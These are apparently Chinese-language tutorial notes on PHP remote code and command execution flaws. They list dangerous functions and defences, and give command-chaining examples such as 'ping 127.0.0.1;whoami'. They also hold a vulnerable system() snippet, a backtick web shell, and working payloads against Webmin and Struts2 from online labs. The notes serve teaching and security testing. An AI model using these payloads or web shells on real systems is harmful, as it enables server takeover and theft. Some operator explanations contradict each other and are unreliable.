在 Web 应用中有时候程序员为了考虑灵活性、简洁性,会在代码调用代码或命令执行函数去处理。比如当应用在调用一些能将字符串转化成代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏洞。同样调用系统命令处理,将造成命令执行漏洞。
RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。
一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口
比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上
一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。如果,设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器
同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。
PHP代码执行函数:eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort()
PHP命令执行函数:system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()、passthru() ``反引号
eval() 函数把字符串按照 PHP 代码来计算。
该字符串必须是合法的 PHP 代码,且必须以分号结尾。
如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。
(PHP 4, PHP 5, PHP 7, PHP 8)
system — 执行外部程序,并且显示输出
if($_GET['cmd']){
$str=$_GET['cmd'];
system($str);
?>
cmd=(任一windows命令) 都可当成windows系统命令执行。
可控变量,漏洞函数
不安全的使用了代码调用代码或命令执行函数
不安全的使用了调用系统命令
漏洞扫描
黑盒测试:网站中有特殊功能,比如Ping、数据库备份等等。
白盒测试:查看命令执行函数是否做过滤。命令执行函数如下:
PHP代码执行函数:eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort()
PHP命令执行函数:system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()、passthru() ``反引号
敏感函数禁用,尽量不要使用命令执行函数,不能完全控制的危险函数最好不使用
在进入执行命令函数前进行严格的检测和过滤;
部署WAF
poc 验证代码
exp 利用代码
“;”:执行完前面的语句再执行后面的。例如:ping 127.0.0.1;whoami
“|”:显示后面语句的执行结果。例如:ping 127.0.0.1 | whoami
“||”:当前面的语句执行出错时,执行后面的语句。例如:ping 1 || whoami
“&”:如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。例如:ping 2 & whoami
“&&”:如果前面的语句为假则直接出错,也不执行后面的,前面的语句只能为真。例如:ping 127.0.0.1 && whoami
“|”:直接执行后面的语句。例如:ping 127.0.0.1 | whoami
“||”:句执行出错,则执行后面的语句,前面的语句只能为假。例如:ping 3 ||whoami
“&”:如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。例如:ping 127.0.0.1 & whoami
“&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句只能为真。例如:127.0.0.1 && whoami
ubuntu4.14 linux系统
前端校验
(绕过:禁用js或者bp抓包改包)
eval(gzinflate(base64_decode(&40pNzshXSFCJD3INDHUNDolOjE2wtlawt+MCAA==&)));
?>
在线运行
echo `$_REQUEST[a]`;; ?>
相当于
eval(echo `$_REQUEST[a]`;; ?>);
?>
反引号括起来的字符串被shell解释为命令行
/usr/share/webmin/acl
改数据包
POST /password_change.cgi HTTP/1.1
Host: 127.0.0.1:10000
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Accept-Language: en
Cookie: redirect=1; testing=1; sid=x; sessiontest=1
Referer: http://127.0.0.1:10000/password_change.cgi/session_login.cgi
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
cache-control: no-cache
user=rootxx&pam=&expired=2&old=id&new1=test2&new2=test2
%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%2c%23process%3d%40java.lang.Runtime%40getRuntime().exec(%23parameters.command%5b0%5d)%2c%23ros%3d(%40org.apache.struts2.ServletActionContext%40getResponse().getOutputStream())%2c%40org.apache.commons.io.IOUtils%40copy(%23process.getInputStream()%2c%23ros)%2c%23ros.flush()%2c%23xx%3d123%2c%23xx.toString.json?command=ls /
访问:http://ip/orders/3/+poc
执行命令 cat key.txt k 获取key
mozhef1ef23239c5142b18b80a5220ba
也可以使用漏洞工具:
工具下载地址
通过Cknife等发包工具,把需要执行的php脚本片段,通过密码pass参数传给服务器端,服务器通过eval函数进行执行。
“@”在PHP中用作错误控制操作符。当表达式附加@符号时,将忽略该表达式可能生成的错误消息
https://www.cnblogs.com/ermei/p/6689005.html
http://blog.leanote.com/post/snowming/9da184ef24bd
https://www.mozhe.cn/bug/detail/T0YyUmZRa1paTkJNQ0JmVWt3Sm13dz09bW96aGUmozhe
https://www.mozhe.cn/bug/detail/RWpnQUllbmNaQUVndTFDWGxaL0JjUT09bW96aGUmozhe
https://www.mozhe.cn/bug/detail/d01lL2RSbGEwZUNTeThVZ0xDdXl0Zz09bW96aGUmozhe